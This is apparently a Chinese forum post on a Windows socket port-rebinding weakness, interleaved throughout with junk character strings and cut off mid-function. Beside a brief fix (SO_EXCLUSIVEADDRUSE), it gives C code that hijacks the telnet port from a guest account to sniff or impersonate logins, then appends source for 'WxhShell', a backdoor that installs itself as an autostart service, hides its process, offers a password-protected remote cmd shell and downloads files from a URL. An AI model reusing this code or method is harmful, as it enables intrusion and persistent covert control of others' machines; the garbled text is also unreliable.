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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1AFA=t:]p s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qxJ\ye+'* .X;K%J2 saddr.sin_family = AF_INET; "uf%iJ:% *=xr-!MEk saddr.sin_addr.s_addr = htonl(INADDR_ANY); _','9| c1gQ cqF bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DW3G og>uj>H& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f,Ghb~y O&hTNIfi 这意味着什么?意味着可以进行如下的攻击: e~(5%CO>#j -7|H}!DFT 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $Z>'Jp o;RI*I 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A<fG}q1# 8l">cVo]T 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [.}oyz;}N ;O#>Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 T6kdS]4- . 'yCw#f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $`'/+x"% M'l ;: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >5
BJ3Hf #,v{Ihn 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z #m+ObHK1 .o}v#W+st #include NZz 8j^ #include .tr!(O],h #include U`s{Jm #include W(/h Vt DWORD WINAPI ClientThread(LPVOID lpParam); HLi%%"' int main() (4-CF3D { CTA3*Gn WORD wVersionRequested; 9MqGIOQ${j DWORD ret; NyuQMU WSADATA wsaData; 7>*vI7O0l BOOL val; Vf1^4t SOCKADDR_IN saddr; '4<1 1(U SOCKADDR_IN scaddr; P1f[%1 int err; -D~%|).' SOCKET s; |vzl. ^"- SOCKET sc; K~EmD9 int caddsize; lk80#( :Z HANDLE mt; -H-~;EzU DWORD tid; r,2g^K)6 wVersionRequested = MAKEWORD( 2, 2 ); 0Y5_PTWb+Y err = WSAStartup( wVersionRequested, &wsaData ); S0W||#Pr if ( err != 0 ) { j*m%*_kO printf("error!WSAStartup failed!\n"); 9(<@O%YU return -1; Yu`~U,m } r:TH]hs12+ saddr.sin_family = AF_INET; Mrb) <QGXy= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _h1mF<\ X^ S$XSei_q saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3HK\BS saddr.sin_port = htons(23); ,9
a if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YKf0dh;O { *DhiN printf("error!socket failed!\n"); |
VDV<g5h return -1; IO:G1;[/2L } FML(4BY, val = TRUE; w@fi{H(R //SO_REUSEADDR选项就是可以实现端口重绑定的 ( &x['IR if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .6 ?U@2 { g<
.qUBPKX printf("error!setsockopt failed!\n"); Rbv;?'O$L return -1; "-V"=t' } o#1 $q`Z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Eu04e N //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 seeBS/% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~4cC/"q$X 18:%~>.! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0+b1vhQ { #C@FYOf* ret=GetLastError(); 7"D.L-H printf("error!bind failed!\n"); )@bQu~Y return -1; #:%/(j } "U"Z 3* listen(s,2); x'R`.
!g3 while(1) \Y}8S/] { 9(wK@ caddsize = sizeof(scaddr); Wo=jskBrQ //接受连接请求 0#^v{DC sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^pk7"l4Xm if(sc!=INVALID_SOCKET) <p"iY}x[H { z*)T%p mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "g8M0[7e3 if(mt==NULL) X!g#T9kG { sCHJ&>m5- printf("Thread Creat Failed!\n"); "C`Ub break; [}]Q?*_ } Pk)1WK7E } -A!%*9Z CloseHandle(mt); \dQNLLg/ } geCM<] closesocket(s); K",N!koj WSACleanup(); r]36zX v return 0; jrh43
\$* } nzeX[* DWORD WINAPI ClientThread(LPVOID lpParam) JqiP>4Uwm^ { }JAG7L&{ SOCKET ss = (SOCKET)lpParam; 8Uxne2e SOCKET sc; )53y
AyP unsigned char buf[4096]; du^J2m{f SOCKADDR_IN saddr; *CHX long num; *4Y Vv DWORD val; (Ep\Z 6* DWORD ret; !%0 *z //如果是隐藏端口应用的话,可以在此处加一些判断 o{[YA}xc //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 P7~ >mm+ saddr.sin_family = AF_INET; :9 ^*
^T saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kMd.h[X~ saddr.sin_port = htons(23); k$^`{6l if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `PH{syz { VP]% Hni] printf("error!socket failed!\n"); B^9j@3Ux return -1; czd~8WgOa } A^<iL val = 100; PwLZkr@4^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -3Vx76Y { d6 5L!4 ret = GetLastError(); '!$Rw"K. return -1; ^y%T~dLkp' } V "h
+L7T if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZJs$STJ* { o"#\
> ret = GetLastError(); IO-Ow! return -1; [ibu/W$ } H_Q+&9^/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0"bcdG<} { ea')$gR printf("error!socket connect failed!\n"); C3YT1tK closesocket(sc); w`zTR0` closesocket(ss); ~Jz6O U*z return -1; ixD)VcD-f } S^ \Vgi( while(1) /t"3!Z?BOv { HC,Se.VYS //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^DwYOo 2B //如果是嗅探内容的话,可以再此处进行内容分析和记录 emN*l]N //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JFk
lUgg num = recv(ss,buf,4096,0); omBoo5e if(num>0) s!7y send(sc,buf,num,0); k+pr \d ~ else if(num==0) ^.NU|NQi' break; 9;-p'C num = recv(sc,buf,4096,0); 6V01F8&w if(num>0) YcpoL@ab send(ss,buf,num,0); ;;N9>M?b else if(num==0) OpYY{f break; I9hK }D } g7W" closesocket(ss); |8tilOqI closesocket(sc); `RL"AH:+ return 0 ; j#q-^h3H } .ctw2x5W [3|P 7?W/ 03 #lX(MB ========================================================== ut7zVp<" [K0(RDV)% 下边附上一个代码,,WXhSHELL K(,F~.< [E juUElr ========================================================== I4i>+:_J HCC#j9UN6 #include "stdafx.h" @r/nF5
wcY?rE9 #include <stdio.h> ?2Py_gkf #include <string.h> wEvVL #include <windows.h> ?+}_1x` #include <winsock2.h> UrEs4R1# #include <winsvc.h> + @s"zp;F #include <urlmon.h> O[JL+g4
bAtSV u #pragma comment (lib, "Ws2_32.lib") 7! INkH] #pragma comment (lib, "urlmon.lib") 5taT5?n2
7\Y0z #define MAX_USER 100 // 最大客户端连接数 -z%^)VE #define BUF_SOCK 200 // sock buffer ExL0?FemWV #define KEY_BUFF 255 // 输入 buffer L>4"( -4{<=y?"a #define REBOOT 0 // 重启 LuvY<~u #define SHUTDOWN 1 // 关机 lp%pbx43s CN8Y\<Ar #define DEF_PORT 5000 // 监听端口 *mvlb
(' & t=W}SH #define REG_LEN 16 // 注册表键长度 mSl.mi(JiZ #define SVC_LEN 80 // NT服务名长度 Trz@~d/[,n ok\vQs(a // 从dll定义API Q:d]imw!O typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0[?Xxk}s0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?QdWrE_
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aQ\$A`? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
57 [~c|mOk // wxhshell配置信息 a'yK~;+_9 struct WSCFG { }l} Bo.C int ws_port; // 监听端口 68C%B9.b' char ws_passstr[REG_LEN]; // 口令 |"CZ T# int ws_autoins; // 安装标记, 1=yes 0=no _H7x9
y= char ws_regname[REG_LEN]; // 注册表键名 EaY?aAuS: char ws_svcname[REG_LEN]; // 服务名 O`t&ldU char ws_svcdisp[SVC_LEN]; // 服务显示名 j/c&xv7= char ws_svcdesc[SVC_LEN]; // 服务描述信息 `Cynj+PCe char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XW)lDiJl int ws_downexe; // 下载执行标记, 1=yes 0=no a fW@T2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" m'=Crei char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R=2FNP j[J-f@F \Y }; j@3Q;F0ba '/p/8V.O. // default Wxhshell configuration Zaf:fsj> struct WSCFG wscfg={DEF_PORT, "
9wvPC ^ "xuhuanlingzhe", LxSpctiNx 1, !")tU+: "Wxhshell", 6Vnsi%{ "Wxhshell", Nkth>7* "WxhShell Service", W/bQd)Jvk "Wrsky Windows CmdShell Service", Ee%%d "Please Input Your Password: ", `MN4uC 1, ,77d(bR< " http://www.wrsky.com/wxhshell.exe", CXx*_@}MU "Wxhshell.exe" \\H}`0m: }; '"/=f\)u !6O(-S2A // 消息定义模块 .glA
gt char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;)z:fToh char *msg_ws_prompt="\n\r? for help\n\r#>"; Y0dEH^I char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; x,@B(9No char *msg_ws_ext="\n\rExit."; GdxnpE char *msg_ws_end="\n\rQuit."; V]e 8a"/[{ char *msg_ws_boot="\n\rReboot..."; Eib5 char *msg_ws_poff="\n\rShutdown..."; m6\E$;` char *msg_ws_down="\n\rSave to "; +RM SA^ +YKi, char *msg_ws_err="\n\rErr!"; hPkWCoQpq char *msg_ws_ok="\n\rOK!"; A,Vu\3HS ub#a` char ExeFile[MAX_PATH]; CMG&7(MR int nUser = 0;
#3@rS HANDLE handles[MAX_USER]; g-</ua(j int OsIsNt; DIfaVo/" ^]0Pfna+N SERVICE_STATUS serviceStatus; :tB1D@Cb6 SERVICE_STATUS_HANDLE hServiceStatusHandle; c&?m>2^6 /}fHt^2H // 函数声明 8hz^%vm int Install(void); kY|utoAP int Uninstall(void); H.|#c^I int DownloadFile(char *sURL, SOCKET wsh); GxI!{oi2 int Boot(int flag); U}e!Wjrc void HideProc(void); S.94edQ int GetOsVer(void); /hH int Wxhshell(SOCKET wsl); lH x^D;m6 void TalkWithClient(void *cs); RYQR(v int CmdShell(SOCKET sock); t?-n*9,#S int StartFromService(void); 5z8d}
I int StartWxhshell(LPSTR lpCmdLine); b"uu TA`1U;c{n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~"&|W'he[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); HU8900k+ ;!mzyb* // 数据结构和表定义 FaQe_; SERVICE_TABLE_ENTRY DispatchTable[] = r4XK{KHn { 9`A;U|~E@ {wscfg.ws_svcname, NTServiceMain}, k"T}2 7 {NULL, NULL} rq/yD,I, }; iohop(LZ 7uS~MW // 自我安装 RXpw! int Install(void) ,]ma+(| { `iAF3: char svExeFile[MAX_PATH]; h-#6av: HKEY key; 'KS,'% strcpy(svExeFile,ExeFile); Yq0| J hk(ZM#Bh // 如果是win9x系统,修改注册表设为自启动 hl7bzKO*w if(!OsIsNt) { @fZ,.2ar if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |+FubYf?$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1MP~dRZ$ RegCloseKey(key); L%*!`TN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { av}k)ZT_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H1pO!>M RegCloseKey(key); [fya)} return 0; @Q
]=\N: } yYIf5S`V] } L3u&/Tn2 } LEbB(x;@ else { axv>6k ?*G|XnM& // 如果是NT以上系统,安装为系统服务 uB]7G0g: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $<dH?%!7 if (schSCManager!=0) ;v)JnbsH} { ld|5TN1 SC_HANDLE schService = CreateService G6q
}o)[m) ( fnjPSts0 schSCManager, F 5bj=mI wscfg.ws_svcname, F'={q{2wH wscfg.ws_svcdisp, VuhGx:Xl SERVICE_ALL_ACCESS, *KZYv=s,u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M)J5;^[" SERVICE_AUTO_START, ]^. _z SERVICE_ERROR_NORMAL, RVnjNy;O` svExeFile, iW]j9} t NULL, v}}F,c(f NULL, 7Utn\l NULL, T6y\| NULL, 'Vzp2 NULL EA@.,7F ); i^X]j if (schService!=0) 4x=v?g& { zsEc( CloseServiceHandle(schService); 9|^2",V CloseServiceHandle(schSCManager); BM%e0n7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z,
zWuE3 strcat(svExeFile,wscfg.ws_svcname); aD<A.Lhy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QUwd [ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y|C(X RegCloseKey(key); qTRsZz@ return 0; ,8S/t+H } -/wtI } tVYF{3BhA CloseServiceHandle(schSCManager); n$MO4s8) } YFLZ %( } s[RAHU 6y-@iJ*ld; return 1; 4M=]wR; } rT=rrvV3g (R[[Z,>w. // 自我卸载 m4[ ;(1 int Uninstall(void) |{z:IQLv { !P2ro~0/ HKEY key; 'Cb6Y#6 uanhr)Ys if(!OsIsNt) { gDQ^)1k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6C1#/ RegDeleteValue(key,wscfg.ws_regname); J|W<; RegCloseKey(key); 1jmjg~W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JK7G/]j+Ez RegDeleteValue(key,wscfg.ws_regname); EKYY6S2 RegCloseKey(key); 7cuE7" return 0; WA<v9#m } \#8D>i?m } AVsDt2A } JinUV6cr else { s$zLiQF; $P > SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A6 if (schSCManager!=0) h/QXPdV { !4ocZmj\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wm+};L&_ if (schService!=0) -mbt4w { w1FcB$ if(DeleteService(schService)!=0) { +r CloseServiceHandle(schService); u4*BX& CloseServiceHandle(schSCManager); 3<e=g)F return 0; Yj<a"
Gr4[ } k90YV( CloseServiceHandle(schService); bt@<
ut\ } vOH4# CloseServiceHandle(schSCManager); XnH05LQ } 3p$?,0ELH } i7CX65&b 0.Q
Ujw return 1; %HhBt5w } ,5P0S0*{ [CTnXb // 从指定url下载文件 +WZX.D int DownloadFile(char *sURL, SOCKET wsh) k`cfG\;r { ^L,K& Jd HRESULT hr; ^7`BP%6 char seps[]= "/"; ]"pVj6O char *token; }g@v`5 char *file; dUD[e,? char myURL[MAX_PATH]; WSPI|#Xr% char myFILE[MAX_PATH]; "syI#U{ n.}Zk G0` strcpy(myURL,sURL); 7RQR)DG token=strtok(myURL,seps); =?5]()'*n while(token!=NULL) PioZIb/{ { ]HbY file=token; av(6wht8 token=strtok(NULL,seps); 3RUy,s }
>^O7 eYc$dPE GetCurrentDirectory(MAX_PATH,myFILE); 8 %:Iv(UMk strcat(myFILE, "\\"); 2/U.|*mH strcat(myFILE, file); qRu~$K send(wsh,myFILE,strlen(myFILE),0); -D<< kra send(wsh,"...",3,0); Q@= Q0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zWnX*2>b if(hr==S_OK) xPdG*OcX! return 0; \wmN else .w:DFk^E]b return 1; PgAf\.48a pP1|&`}ux } ,S\CC{! S0$8@"~= // 系统电源模块 y1z4ik)Sd@ int Boot(int flag) ufj,T7g^ { AI2~Jp HANDLE hToken; [=C6U_vU TOKEN_PRIVILEGES tkp; v<k?Vu ; cNv\t if(OsIsNt) { y-Fo=y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^ G]J ,+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -$\y_?} tkp.PrivilegeCount = 1; J@`1TU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mb1FWy=3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aI'&O^w+ if(flag==REBOOT) { >[)7U _|p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A]*}HZ, return 0; fT|.@%"vc } Od,=mO*.Q else { [\]50=& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vo?9(+:|e return 0; cF*TotU_m } Z<oaK } c&6I[R else { eb"VE%+Hu if(flag==REBOOT) { -au^;CM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xl{=Y< ; return 0; ]dVGUG8 } 4>YR{ else { t}_r]E,{u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cx,+k]9D return 0; 39c2pV[ } *YI98 } yHYsZ,GE . P viA return 1; I]|Pq } oE@a'*.\ 3l]lwV // win9x进程隐藏模块 hXw]K" void HideProc(void) AhN4mc@ { _1X!EH" BX/8O<s0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7jrt7[{ if ( hKernel != NULL ) t
mntp { y<UK:^t31V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j{ ]I]\=? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); alJ)^OSIe FreeLibrary(hKernel); 2F;y;l% } E#34Wh2z _>?\DgjH return; k:i4=5^*GX } z9f-.72"X /A\8 mL8 // 获取操作系统版本 'd0~!w int GetOsVer(void) 810|Tj*U% { c?Y*Y OSVERSIONINFO winfo; UsG~row:! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :]K4KFM GetVersionEx(&winfo); Z9E\,Ly if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `%bypHeSp return 1; Xfc-UP|} else q_lKKzA return 0; >IafUy } d7^}tM $GV7o{"& // 客户端句柄模块 PN%zIkbo int Wxhshell(SOCKET wsl) Z{.8^u1I { YpHg&|Fr SOCKET wsh; f^ZRT@`O struct sockaddr_in client; "s-"<&>a( DWORD myID; 3d8L6GJ [Y/}
^ while(nUser<MAX_USER) OF>mF~ { ,^r9n[M4M int nSize=sizeof(client); ;]puq wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _RYxD"my if(wsh==INVALID_SOCKET) return 1; ;LfXi 8) %Qgw7p4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hW')Sp if(handles[nUser]==0) h8j.( closesocket(wsh); RU{twL.B else ? V1*cVD6i nUser++; yu {d! {6 } t,Lrfv]) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >{]%F*p4 ]]![EHi(\ return 0; TprTWod2]t } M.D1XX1/ FZQP%]FX // 关闭 socket 68|E9^`l void CloseIt(SOCKET wsh) 2szPAuN+ { lBE=(A`
closesocket(wsh); 7Die
FZ? nUser--; eIF5ZPSZi ExitThread(0); ?,Xw[pR } je-!4r, y1 DL,%j // 客户端请求句柄 B
IEO,W| void TalkWithClient(void *cs) + 480 l} { , pfG %Xg4b6<9 SOCKET wsh=(SOCKET)cs; R{4^t97wH{ char pwd[SVC_LEN]; #Pau\|e_ char cmd[KEY_BUFF]; atH*5X6d char chr[1]; tT8%yG} int i,j; 2|y"!JqE1 +/7?HGf while (nUser < MAX_USER) { SR
hiQ yzn%<H~ if(wscfg.ws_passstr) { GVr1`l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TqQB@-! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /HEw-M9z //ZeroMemory(pwd,KEY_BUFF); s[*rzoA i=0; .sW|Id ) while(i<SVC_LEN) { g =hg%gRy" Paq4 // 设置超时 2qNt,;DQ fd_set FdRead; @;4zrzQi7 struct timeval TimeOut; <}Vrl`?h FD_ZERO(&FdRead); 7+cO_3AB FD_SET(wsh,&FdRead); C&f=
ywi0 TimeOut.tv_sec=8; l30EKoul) TimeOut.tv_usec=0; Wi<m{.%\E int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =s{> Fsm1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *Q.>-J<S =Bey gT^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jr4Ky<G_i pwd =chr[0]; uZYF(Yu if(chr[0]==0xd || chr[0]==0xa) { @bLy,Xr& pwd=0; t3ZOco@~P break;
XJB)rP } gg/-k;@ Rf i++; iVr J Q } ^CH=O|8j 8d{0rqwNE // 如果是非法用户,关闭 socket J{<X7uB if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hio0HL- } S+6.ZZ9c ,THw"bm send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *a^(vo send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B mb0cFQ V &T~zh1 while(1) { MJ)RvNF D)P ._? ZeroMemory(cmd,KEY_BUFF); W
i.&e VGN5<?PrN // 自动支持客户端 telnet标准 >6-`}G+| j=0; hfB%`x#akQ while(j<KEY_BUFF) { .V<+v-h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3 \,4 ]l|
cmd[j]=chr[0]; 4"ZP 'I; if(chr[0]==0xa || chr[0]==0xd) { LOYk9m cmd[j]=0; G!##X: 6' break; }>|s=uGW } W@IQ^
}E j++; ,qwuLBW } ue"~9JK. ATyEf5Id_ // 下载文件 lVa%$F{Pq if(strstr(cmd,"http://")) { j;r-NCBnz send(wsh,msg_ws_down,strlen(msg_ws_down),0); {Xy5pfW
Q if(DownloadFile(cmd,wsh)) 4_lrg|X1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1I6px$^E\ else r;2^#6/Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Hm>i } >:!5*E5? else { _f,C[C[e& ({_{\9O,3 switch(cmd[0]) { 6@!`]tSCK T>Z<]s // 帮助 0mVNQxHI case '?': { qR{=pR send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hfTY. break; ?^{Ah}x } H?Wya.7 // 安装 IOH}x4 case 'i': { kD%( _K5 if(Install()) }8z?t:|S send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]W!0$'o else !qg`/y9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ml5w01O break; >=>2m2z= } v?$:@9pAk // 卸载 :cECRm* case 'r': { JbbzV> if(Uninstall()) "sCRdx]_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); +\A,&;!SR else Qv-_ jZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rlLMT6r.8 break; _VN?#J)o } 6 "sSo j // 显示 wxhshell 所在路径 B9 uoVcW case 'p': { yyJf%{ char svExeFile[MAX_PATH]; !.gIHY strcpy(svExeFile,"\n\r"); ITBE|b strcat(svExeFile,ExeFile);
(ZizuHC send(wsh,svExeFile,strlen(svExeFile),0); F>l]
9!P|m break; ?l )[7LR4 } !pW0qX\1n // 重启 T^KKy0ZGM case 'b': { 59A}}.@?m send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )akoa,#%6c if(Boot(REBOOT)) LL!Dx%JZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7}>E J else { ki!0^t:9 closesocket(wsh); t*u:hex ExitThread(0); +6\Zj) } ~!L}yw break; 4VSU8tK|N] } Sm|6 %3 // 关机 AkV#J,
3LC case 'd': { eMsd37J send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u#.2w)!D if(Boot(SHUTDOWN)) x;d6vBTUb send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6{b>p+U else { IJ"q~r$ closesocket(wsh); pnOAs&QAm ExitThread(0); 0e4{{zQx } }Y\%RA break; EQM{ } T8g$uFo // 获取shell /x$ nje,. case 's': { ;_(4Q*Yx CmdShell(wsh); Q2gq}c~ closesocket(wsh); TeM|:o ExitThread(0); QWYJ* break; m_]Y{3C
} Xv^qVn4 // 退出 i/4>2y9/F4 case 'x': { tD)J*]G send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ga +dt CloseIt(wsh); ux4POO3C| break; i_%_ x* } !|(NgzDP/ // 离开 N6:`/f+A>T case 'q': { 1+s;FJ2} send(wsh,msg_ws_end,strlen(msg_ws_end),0); sgFEK[w.y closesocket(wsh); [W&T(%(W- WSACleanup(); O0.*Pmt exit(1); (9a^$C* break; 7[)E>XRE } W<g1<z\f } fJg+ Ryo } JZx[W&]zT upmx $H> // 提示信息 &D<y X~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y9ZvV0 } !a\^Sk
/ } 75lA%|
*X N!}f}oF return; g_bLl)g< } ]-#DB^EQ uY To9A // shell模块句柄 W>r+h-kR int CmdShell(SOCKET sock)
J&_n9$ { RA 6w}:sq7 STARTUPINFO si; ;xTpE2 -~ ZeroMemory(&si,sizeof(si)); SXh-A1t si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wCBplaojJ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :ws<-Qy PROCESS_INFORMATION ProcessInfo; (bS&D/N. char cmdline[]="cmd"; }SZd CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3v-~K)hl? return 0; Vurqt_nb } %cn<ych
G dZuOrTplA // 自身启动模式 UEL_uij int StartFromService(void) #'`{Qv0,
{ KI.hy2?e typedef struct vY3h3o { }@)[5N#A| DWORD ExitStatus; [-w%/D%@ DWORD PebBaseAddress; y~V(aih}D DWORD AffinityMask; .xkM.g4{~ DWORD BasePriority; i|kRK7[6B ULONG UniqueProcessId; ?Bmb' 3 ULONG InheritedFromUniqueProcessId; !4!~Lk= } PROCESS_BASIC_INFORMATION; bN.Pex -{vD:Il=6 PROCNTQSIP NtQueryInformationProcess; kJR`:J3DJ L~3Pm%{@A static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lB4WKn=?Kl static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6S#Cl>v 4qa.1j(R/ HANDLE hProcess; U<XG{<2 PROCESS_BASIC_INFORMATION pbi; "dlVk~ /-s6<e! HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;Rf'P}"] if(NULL == hInst ) return 0; LzL
